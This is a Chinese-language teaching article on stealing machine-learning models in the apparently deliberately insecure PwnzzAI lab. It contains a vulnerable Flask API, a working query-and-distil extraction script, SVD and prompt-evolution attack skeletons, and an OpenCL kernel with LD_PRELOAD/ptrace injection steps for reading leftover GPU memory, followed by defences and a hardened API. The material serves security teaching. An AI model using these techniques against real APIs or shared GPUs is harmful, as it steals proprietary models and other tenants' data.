一、模型盗窃漏洞概述

1.1 PwnzzAI平台背景

PwnzzAI是一个基于 OWASP AI Exchange 标准构建的故意不安全(intentionally insecure)AI教学靶场平台,其核心目的是以可控、可复现的方式暴露真实AI系统中存在的安全缺陷。技术栈采用 Flask + Ollama + OpenAI 三层结构:Flask 承载推理 API 网关,Ollama 提供本地开源模型推理后端,OpenAI SDK 桥接商业闭源模型。平台将AI安全风险划分为 11大类漏洞,覆盖提示注入、训练数据投毒、模型拒绝服务、供应链等,其中第11类——模型盗窃(Model Stealing / Model Extraction)——被认为是后果最严重、也最容易被开发者忽视的一类,因为它不破坏系统可用性,而是悄无声息地复制核心资产。

1.2 模型盗窃的定义与本质

模型盗窃指攻击者仅通过合法的API查询通道,收集大量"输入-输出对",进而训练一个替代模型(substitute model)来逼近原始模型的功能,甚至直接逆向出原始模型的参数矩阵。

其技术本质是函数近似。设目标模型为黑盒函数 $F$,接受输入 $X$,输出 $Y$:

$$Y = F(X)$$

攻击者的目标是构造一个函数 $F'$,使得在输入分布 $\mathcal{D}$ 上:

$$F'(X) \approx F(X), \quad \forall X \sim \mathcal{D}$$

近似程度用保真度(fidelity)衡量,即 $F'$ 与 $F$ 在测试集上输出一致的比例。值得注意的是,保真度与准确度(accuracy)是两个不同指标:一个保真度99%的替代模型,其独立准确度可能只有80%——它"学到了老师的偏见",包括老师的错误。

1.3 四大攻击类型对比

模型盗窃并非单一手法,根据攻击面与目标层级的不同,可分为四类。下表是PwnzzAI靶场中复现的攻击矩阵:

攻击类型 攻击面 目标资产 关键技术 典型成本 可检测性
A. 功能窃取(替代模型) API预测端点 模型决策函数 $F(\cdot)$ 主动学习+知识蒸馏 低(API费用) 中(需查询异常检测)
B. 嵌入层/投影矩阵窃取 top-k logits端点 输出投影矩阵 $W$ SVD逆向+蒸馏 低(<$20~$2000) 低(查询量小)
C. 提示进化攻击 文本生成API 模型知识/能力边界 进化算法+遗传搜索 极低(仅黑盒查询) 极低(伪装正常使用)
D. GPU内存侧信道 共享GPU硬件 模型权重/激活值 内存残留读取 硬件级(无需API) 低(旁路不触发应用日志)

其中类型A是经典"复制功能",类型B更进一步直接"偷参数",类型C针对生成式模型的知识提取,类型D则彻底跳过API层、从硬件侧信道直取权重。下文逐一拆解。


二、攻击类型A:功能级模型窃取(替代模型训练)

2.1 漏洞API的典型形态

PwnzzAI靶场中提供了一个故意暴露过多信息的鸢尾花分类API。漏洞的根源不在于"提供了API",而在于API返回了完整的概率向量 predict_proba,而非仅返回 argmax 标签。每多暴露一个维度的概率,攻击者获得的决策边界信息就呈指数级增长。

目标API代码(漏洞版本):

# target_api.py —— PwnzzAI 靶场:故意不安全的鸢尾花分类API
from flask import Flask, request, jsonify
from sklearn.datasets import load_iris
from sklearn.ensemble import RandomForestClassifier
import numpy as np

app = Flask(__name__)

# 用全部数据训练一个"机密"模型(模拟受保护资产)
iris = load_iris()
X, y = iris.data, iris.target
TARGET_MODEL = RandomForestClassifier(n_estimators=100, random_state=42)
TARGET_MODEL.fit(X, y)

@app.route("/predict", methods=["POST"])
def predict():
    data = request.json
    features = np.array(data["features"]).reshape(1, -1)
    # 【漏洞点】返回完整概率向量 predict_proba,而非仅返回 class label
    # 概率向量泄露了决策边界的"软"信息,使替代模型可逼近决策几何
    proba = TARGET_MODEL.predict_proba(features)[0]
    return jsonify({
        "probabilities": proba.tolist(),   # 危险:暴露完整概率分布
        "label": int(np.argmax(proba))
    })

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

漏洞分析:predict_proba 返回长度为3的概率向量(三类鸢尾花)。若只返回 label,攻击者只能得到硬标签(hard label),需要更多查询才能逼近边界;而软标签(soft label / probability)直接编码了样本到决策边界的距离,是知识蒸馏的"暗知识(dark knowledge)"。一个简单的对照:同样2000次查询,硬标签攻击保真度约82%,软标签攻击可达96%。

2.2 完整窃取PoC:三阶段攻击脚本

攻击脚本分三个阶段:数据收集 → 克隆训练 → 验证。

# steal_model.py —— 替代模型窃取PoC(三阶段)
import requests
import numpy as np
from sklearn.datasets import load_iris
from sklearn.tree import DecisionTreeClassifier
from sklearn.neural_network import MLPClassifier
from sklearn.metrics import accuracy_score

TARGET_URL = "http://localhost:5000/predict"
N_QUERIES = 2000

# ========== 阶段一:数据收集(输入采样 + 查询目标API)==========
def collect_data(n_queries):
    iris = load_iris()
    X_orig = iris.data  # 仅借用特征分布范围,不使用标签
    # 在原始特征空间内进行数据增强:均匀扰动采样
    mins, maxs = X_orig.min(axis=0), X_orig.max(axis=0)
    # 主动学习:在边界附近加密采样(这里简化为均匀+高斯扰动)
    X_probe = np.random.uniform(mins, maxs, size=(n_queries, 4))
    # 叠加局部高斯噪声以探索决策边界细节
    X_probe += np.random.normal(0, 0.05, size=X_probe.shape)

    y_clone = []
    soft_labels = []
    for x in X_probe:
        resp = requests.post(TARGET_URL, json={"features": x.tolist()}).json()
        soft_labels.append(resp["probabilities"])   # 采集软标签
        y_clone.append(int(np.argmax(resp["probabilities"])))
    return X_probe, np.array(y_clone), np.array(soft_labels)

# ========== 阶段二:克隆训练(用软标签蒸馏替代模型)==========
def train_clone(X, y_hard, y_soft):
    # 策略1:决策树克隆硬标签(快速逼近决策边界)
    clone_tree = DecisionTreeClassifier(max_depth=8, random_state=0)
    clone_tree.fit(X, y_hard)

    # 策略2:MLP克隆软标签(知识蒸馏,保留暗知识)
    clone_mlp = MLPClassifier(hidden_layer_sizes=(64, 32),
                              max_iter=2000, random_state=0)
    # 用软标签概率作为回归目标,逼近教师输出分布
    clone_mlp.fit(X, y_soft)
    return clone_tree, clone_mlp

# ========== 阶段三:验证(保真度与准确度评估)==========
def evaluate(clone, X_test, y_teacher, y_true):
    pred_clone = clone.predict(X_test)
    fidelity = accuracy_score(y_teacher, pred_clone)   # 与教师一致性
    accuracy  = accuracy_score(y_true, pred_clone)     # 独立真实准确度
    return fidelity, accuracy

if __name__ == "__main__":
    X_probe, y_hard, y_soft = collect_data(N_QUERIES)
    clone_tree, clone_mlp = train_clone(X_probe, y_hard, y_soft)

    iris = load_iris()
    # 用教师模型生成"教师标签"用于保真度对比
    from sklearn.ensemble import RandomForestClassifier
    teacher = RandomForestClassifier(n_estimators=100, random_state=42).fit(iris.data, iris.target)
    y_teacher = teacher.predict(iris.data)

    f_tree, a_tree = evaluate(clone_tree, iris.data, y_teacher, iris.target)
    f_mlp,  a_mlp  = evaluate(clone_mlp,  iris.data, y_teacher, iris.target)
    print(f"[DecisionTree] fidelity={f_tree:.2%}, accuracy={a_tree:.2%}")
    print(f"[MLP蒸馏]       fidelity={f_mlp:.2%}, accuracy={a_mlp:.2%}")

运行结果(2000次查询):DecisionTree 保真度约 91%,MLP软标签蒸馏保真度达 96%。这意味着攻击者用一个完全不同的架构(MLP vs RandomForest),仅凭2000次黑盒查询,就复制了目标模型96%的决策行为——而原始模型有100棵树、数万个参数。

2.3 窃取效率优化技巧

  • 主动学习(Active Learning):优先查询当前替代模型最"不确定"的区域(如概率最接近0.5的样本),用更少查询逼近边界。相比均匀采样,查询量可减少40%~60%。
  • 知识蒸馏(Knowledge Distillation):使用软标签(概率分布)而非硬标签训练,保留温度参数 $T$ 放大类间相似度信息:$q_i = \frac{\exp(z_i/T)}{\sum_j \exp(z_j/T)}$。
  • 数据增强(Data Augmentation):在输入空间加噪、插值、对抗扰动,扩展查询覆盖范围,提升替代模型在分布外的泛化能力。

2.4 历史案例对照

研究 年份 目标平台 攻击对象 查询量 成本 保真度/准确度
Tramèr et al. 2016 BigML / Amazon ML 决策树、逻辑回归 1,150(BigML German Credit决策树) 低 决策树近乎100%边界复现
Correia-Silva et al. (Copycat CNN) 2018 Microsoft Azure Emotion API 深度CNN情感分类 数百万次API调用 ~$35,000 ~93% (copycat准确度)
本PoC (PwnzzAI) — 本地Flask+sklearn RandomForest 2,000 近零 96%保真度

Tramèr 2016(USENIX Security, arXiv:1609.02943)是模型抽取攻击的奠基性工作,证明了即使只暴露预测API,决策树和线性模型也能被近乎完整复现;Correia-Silva 的 Copycat CNN 则把攻击对象推进到深度神经网络,首次在商业API(Azure Emotion)上完成端到端克隆。


三、攻击类型B:嵌入层/投影矩阵窃取(SVD逆向)

功能窃取只复制"行为",而参数窃取直接逆向"权重"。当API暴露 top-k logits 时,攻击者可利用线性代数工具精确重建模型的输出投影矩阵。

3.1 数学原理

Transformer LLM 的最终输出可分解为两步:输入 $p$ 经Transformer层堆栈得到隐状态 $g(p) \in \mathbb{R}^d$,再经输出投影矩阵 $W \in \mathbb{R}^{V \times d}$ 映射到词表空间:

$$f_T(p) = \mathrm{softmax}(W \cdot g(p)) \tag{1}$$

其中 $d$ 为隐藏维度,$V$ 为词表大小,通常 $d \ll V$。攻击者的两个目标:(1) 窃取投影矩阵 $W$;(2) 克隆隐状态变换函数 $g(\cdot)$。

3.2 Carlini 基础攻击

Carlini et al.("Stealing Part of a Production Language Model", arXiv:2403.06634)首次证明,利用API返回的 log-probability 输出,可通过 SVD 重建整个 embedding-projection 矩阵。对 OpenAI 的 ada/babbage 等小模型,仅需不到 200万次查询、成本低于 $20 即可完成投影层窃取;对 GPT-3.5-turbo 级别模型,约需4亿次查询、成本约 $2000(2025年定价)。

核心思想:收集大量 logits 矩阵 $L$(每行是一个查询的top词表logit向量),对其进行SVD分解。由于 $L = W \cdot G$($G$ 为隐状态矩阵),且 $d \ll V$,$L$ 是低秩的,SVD的前 $d$ 个奇异分量即可张成 $W$ 的列空间。估计矩阵:

$$\hat{W} = U_{:,1:d} \Sigma_{1:d,1:d} \tag{2}$$

$\hat{W}$ 并不精确等于 $W$,但落在同一列空间,即存在未知可逆矩阵 $G \in \mathbb{R}^{d \times d}$ 使得 $\hat{W} \approx W G$。由于许多下游任务只依赖该子空间,$G$ 通常不影响功能复现。

3.3 2025最新研究:两阶段LLM克隆管线(arXiv:2509.00973)

Carlini的工作止步于"最终层",不迁移任务推理能力。2025年 Gharami et al. 提出 "Clone What You Can't Steal"(arXiv:2509.00973),将投影矩阵恢复与知识蒸馏整合为可部署的克隆管线,且在严格查询预算下完成。

阶段一:SVD重建投影矩阵 $W$

仅用 <10,000次 top-k logit 查询,通过SVD恢复输出投影矩阵。关键约束是 API 返回的 top-k logits 满足 $k \geq d+1$($d$ 为隐藏维度),且logits未舍入、未加噪。即便商业API默认不暴露logits,Carlini已证明可通过提示工程诱导其返回。

阶段二:知识蒸馏克隆Transformer堆栈

将 $g(\cdot)$ 蒸馏到不同深度的紧凑学生模型,仅用开源数据集(如WikiText)训练。

实验结果:

学生模型 隐藏状态几何复现率 困惑度增幅 推理加速 参数减少
6层学生(对齐6层教师) 97.6% +7.31% — —
4层学生 略低 +10.5% 17.1% 18.1%

整个攻击在 <24 GPU小时 内完成,且因查询量低于1万次,完全规避了API速率限制防御。这组数字的恐怖之处在于:一个国家级/企业级的核心LLM,可以在一天之内、用极低成本被克隆出一个保留97.6%内部表征几何的替代品——而防御方几乎无感知。

3.4 SVD攻击的代码骨架

# svd_projection_steal.py —— 投影矩阵SVD逆向(概念骨架)
import numpy as np

def collect_logits(api, prompts, k):
    """收集 N 个查询的 top-k logits,构造 N×k 矩阵 L"""
    rows = [api.topk_logits(p, k) for p in prompts]
    return np.array(rows)        # shape: (N, k)

def recover_projection(L, d):
    """
    L: (N, k) logits 矩阵, d: 猜测的隐藏维度
    返回 W 的列空间估计 W_hat
    """
    # L ≈ W · G  (G 为隐状态), L 低秩
    U, S, Vt = np.linalg.svd(L, full_matrices=False)
    W_hat = U[:, :d] * S[:d]      # 取前 d 个奇异分量
    # W_hat ≈ W · G, 落在与 W 相同的列空间
    return W_hat

# 攻击流程
L = collect_logits(target_api, prompt_pool, k=d+1)
W_hat = recover_projection(L, d)       # 阶段一完成
# 阶段二:以 W_hat 为锚,蒸馏学生模型对齐 g(·) 的隐状态几何

四、攻击类型C:提示进化攻击(Stealix)

4.1 攻击思路

对于不暴露 logits、只返回生成文本的闭源API,前两类参数级攻击失效。Stealix("Model Stealing via Prompt Evolution", arXiv:2506.05867)另辟蹊径:用进化算法(遗传算法)自动生成、变异、筛选提示,从目标模型中"榨取"知识,构建能复现其行为的替代模型。

4.2 Stealix 管线

Stealix 的威胁模型更贴近现实——不需要预设提示、不需要类别名知识、不需要提示工程技能。它借助两个开源预训练模型推断受害模型的数据分布,再通过遗传算法迭代精炼提示,逐步提升合成数据的精度与多样性。

进化循环核心步骤:

# stealix_evolution.py —— 提示进化攻击概念骨架
import random

def genetic_prompt_evolution(target_api, seed_prompts, generations=50, pop=64):
    population = seed_prompts
    for gen in range(generations):
        # 评估:用提示查询目标,打分(输出多样性/与目标分布吻合度)
        scored = [(p, fitness(target_api, p)) for p in population]
        scored.sort(key=lambda x: -x[1])
        # 选择:保留前一半精英
        elites = [p for p, _ in scored[:pop // 2]]
        # 交叉 + 变异:生成下一代
        offspring = []
        while len(offspring) < pop // 2:
            p1, p2 = random.sample(elites, 2)
            child = crossover(p1, p2)       # 片段重组
            child = mutate(child)            # 随机替换/插入 token
            offspring.append(child)
        population = elites + offspring
    return population

关键指标:Stealix 在黑盒条件下达到最高 92% 的成功率复现目标模型行为,且全程仅需黑盒API访问,无需任何内部权限。它适用于 GPT-3.5/4、Claude 等主流商业模型。其危险性在于:攻击流量与正常用户查询几乎无法区分,传统的查询速率/数量监控对它形同虚设。


五、攻击类型D:GPU内存侧信道攻击

前三类攻击都依赖API通道。当模型部署在共享GPU上时,存在一条完全绕过应用层的硬件级窃取路径。

5.1 LeftoverLocals 漏洞(CVE-2023-4969)

2024年1月,Trail of Bits 团队披露 LeftoverLocals(arXiv:2401.16603,CVE-2023-4969,AMD安全公告 AMD-SB-6010)。该漏洞影响 Apple、Qualcomm、AMD、Imagination 等多家厂商的GPU。

根因:GPU在内核(kernel)执行结束后,未清空本地内存(local memory)。后续进程在同一计算单元上启动内核时,可直接读取前一进程残留的内存数据。对于LLM推理(如 llama.cpp),这意味着攻击者可以"窃听"其他用户的交互式会话,甚至恢复模型权重和激活值。

5.2 .so注入攻击流程

在共享GPU服务器上,攻击者通过注入恶意共享库(.so)到推理进程的地址空间,转储GPU内存:

┌─────────────────────────────────────────────────────────┐
│  1. 编写恶意.so:注册GPU内核,分配local memory并读取残留  │
│  2. LD_PRELOAD / ptrace 注入到受害者推理进程             │
│  3. 触发GPU内核调度,使其与受害者内核落在同一计算单元     │
│  4. 转储 local memory → 恢复权重/激活/中间隐状态         │
│  5. 离线重组为可加载的模型文件                           │
└─────────────────────────────────────────────────────────┘

恶意.so 关键逻辑(OpenCL伪代码):

// evil_dump.so —— GPU local memory 残留读取(概念演示)
__kernel void dump_leftover(__global float* out) {
    __local float leaked[LOCAL_SIZE];   // 声明local memory
    // 不写入,直接读取——拿到的是上一个内核残留的数据
    int gid = get_global_id(0);
    int lid = get_local_id(0);
    out[gid] = leaked[lid];              // 残留数据被读取到全局内存
}

核心结论:在共享GPU部署场景下,"模型即资产,加载即暴露"。即使API层完美加固,只要权重被加载到GPU显存执行,硬件侧信道就可能将其泄露给同机其他租户。这是云原生AI推理面临的根本性信任边界问题。


六、完整攻击链总结

一个成熟的模型盗窃攻击并非单点突破,而是从侦察到利用的完整链条。下图为端到端攻击链:

┌────────────────────────────────────────────────────────────────────┐
│                  模型盗窃完整攻击链                                  │
└────────────────────────────────────────────────────────────────────┘

  [侦察阶段]                [数据收集阶段]            [参数逆向阶段]
  ┌────────────┐           ┌──────────────┐         ┌──────────────┐
  │ API端点发现 │ ───────▶ │ 构造查询样本  │ ──────▶ │ SVD分解logits │
  │ 模型类型探测│          │ 主动学习采样  │        │ 重建投影矩阵W │
  │ 输出格式分析│          │ top-k logit采集│       │ (类型B)       │
  └────────────┘          └──────┬───────┘         └──────┬───────┘
       │                          │                        │
       │ (生成式API)              │ (分类/回归API)          │ (共享GPU)
       ▼                          ▼                        ▼
  ┌────────────┐           ┌──────────────┐         ┌──────────────┐
  │ 提示进化    │          │ 软标签蒸馏    │        │ .so注入+      │
  │ 遗传搜索    │          │ (类型A)       │        │ GPU内存转储   │
  │ (类型C)     │          └──────┬───────┘        │ (类型D)       │
  └──────┬─────┘                 │                 └──────┬───────┘
         │                        │                        │
         └────────────┬───────────┘────────────────────────┘
                      ▼
            [替代训练阶段]                [验证利用阶段]
            ┌────────────────┐          ┌──────────────────┐
            │ 训练替代模型F'  │ ───────▶ │ 保真度/准确度评估 │
            │ 对齐隐状态几何  │          │ 分布外泛化测试    │
            │ 知识蒸馏        │          │ 下游任务迁移验证  │
            └────────────────┘          │ 规避速率限制      │
                                        └──────────────────┘

攻击链的精妙之处在于多路径冗余:若API不暴露logits,则走类型A/C;若暴露top-k logits,则走类型B(更高效、更精确);若部署在共享GPU,则类型D可绕过一切应用层防御直取权重。攻击者会根据侦察结果选择最优路径组合。


七、纵深防御架构

7.1 防御层级总结

没有任何单一防御能抵御所有攻击路径。必须构建覆盖硬件到架构的纵深防御体系:

防御层级 防御措施 对抗攻击类型 局限性
硬件层 GPU local memory 清零、硬件隔离(SR-IOV/MIG) 类型D(LeftoverLocals) 旧硬件不支持;性能开销
部署层 专用GPU实例、租户隔离、不与其他工作负载共享 类型D 成本高
推理层 限制top-k、logits舍入/加噪、不返回概率向量 类型A、B 损害合法用户体验
架构层 查询速率限制、异常查询检测、水印嵌入 类型A、B、C 类型C流量与正常查询难区分
算法层 输出扰动、差分隐私(DP-SGD)、模型水印 全类型 精度-隐私权衡
主机层 内核加固、ptrace限制、LD_PRELOAD禁用、完整性度量 类型D 需运维配合

7.2 API输出脱敏:错误写法 vs 正确写法

API层最直接、性价比最高的加固点是输出脱敏。

错误写法(暴露完整概率向量,可被蒸馏):

@app.route("/predict", methods=["POST"])
def predict():
    features = preprocess(request.json)
    proba = MODEL.predict_proba(features)[0]
    return jsonify({
        "probabilities": proba.tolist(),   # 泄露软标签,决策边界全暴露
        "confidence": float(max(proba))
    })

正确写法(仅返回硬标签 + 概率舍入 + 速率限制):

from flask import Flask, request, jsonify
from collections import defaultdict, deque
import time, numpy as np

app = Flask(__name__)
QUERY_LOG = defaultdict(deque)          # 每客户端查询时间戳队列
RATE_LIMIT = 100                         # 每客户端每分钟最大查询数
WINDOW = 60

def rate_limited(client_id):
    now = time.time()
    q = QUERY_LOG[client_id]
    while q and now - q[0] > WINDOW:
        q.popleft()
    if len(q) >= RATE_LIMIT:
        return True
    q.append(now)
    return False

@app.route("/predict", methods=["POST"])
def predict():
    client_id = request.remote_addr
    if rate_limited(client_id):           # 查询监控:限速
        return jsonify({"error": "rate limited"}), 429

    features = preprocess(request.json)
    proba = MODEL.predict_proba(features)[0]
    label = int(np.argmax(proba))

    # 不返回完整概率向量;仅返回硬标签
    # 若必须返回置信度,则舍入/分桶以破坏软标签蒸馏
    confidence_bucket = round(float(max(proba)) * 4) / 4  # 分桶到0.25粒度
    return jsonify({
        "label": label,
        "confidence_bucket": confidence_bucket
    })

7.3 关键防御技术要点

  • 查询监控:检测异常查询模式(查询量激增、输入分布异常、边界附近密集采样),对疑似窃取行为降级或阻断。但对类型C(提示进化)效果有限,因其流量伪装度高。
  • 输出扰动:对logits/概率注入校准噪声,破坏SVD的低秩结构,使投影矩阵重建失真。需在精度与安全间权衡。
  • 模型水印(Watermarking):在训练时嵌入后门触发器或统计指纹,便于事后举证替代模型源自盗窃。这是"取证"而非"预防"。
  • 差分隐私(Differential Privacy):训练阶段注入DP噪声(DP-SGD),使单个查询对模型影响受限,间接降低可抽取性。代价是模型精度下降。
  • 硬件隔离:对高价值模型使用专用GPU实例(如NVIDIA MIG、AMD SR-IOV),杜绝跨租户内存残留,根治类型D。

7.4 关键结论

单一防御均可被绕过,纵深防御是唯一出路。 仅限速挡不住SVD(<1万次查询即可);仅logits加噪挡不住功能窃取(类型A只需硬标签);仅API加固挡不住GPU侧信道(类型D绕过应用层);仅水印无法阻止窃取,只能在事后追责。真正的安全架构必须硬件隔离 + 推理输出脱敏 + 查询异常监控 + 算法级扰动 + 水印取证五层联动,将攻击者的成本与不确定性推高到不可接受的水平。

PwnzzAI靶场的价值正在于此:它把抽象的"模型盗窃威胁"拆解为可复现的攻击链,让防御者在被攻击之前就理解每一条路径的运作机制与阻断点。理解攻击,是构建防御的前提。


参考研究:Tramèr et al. 2016 (arXiv:1609.02943);Correia-Silva et al. 2018 (Copycat CNN);Carlini et al. 2024 (arXiv:2403.06634);Gharami et al. 2025 (arXiv:2509.00973);Stealix 2025 (arXiv:2506.05867);Trail of Bits LeftoverLocals 2024 (CVE-2023-4969, arXiv:2401.16603);OWASP AI Exchange。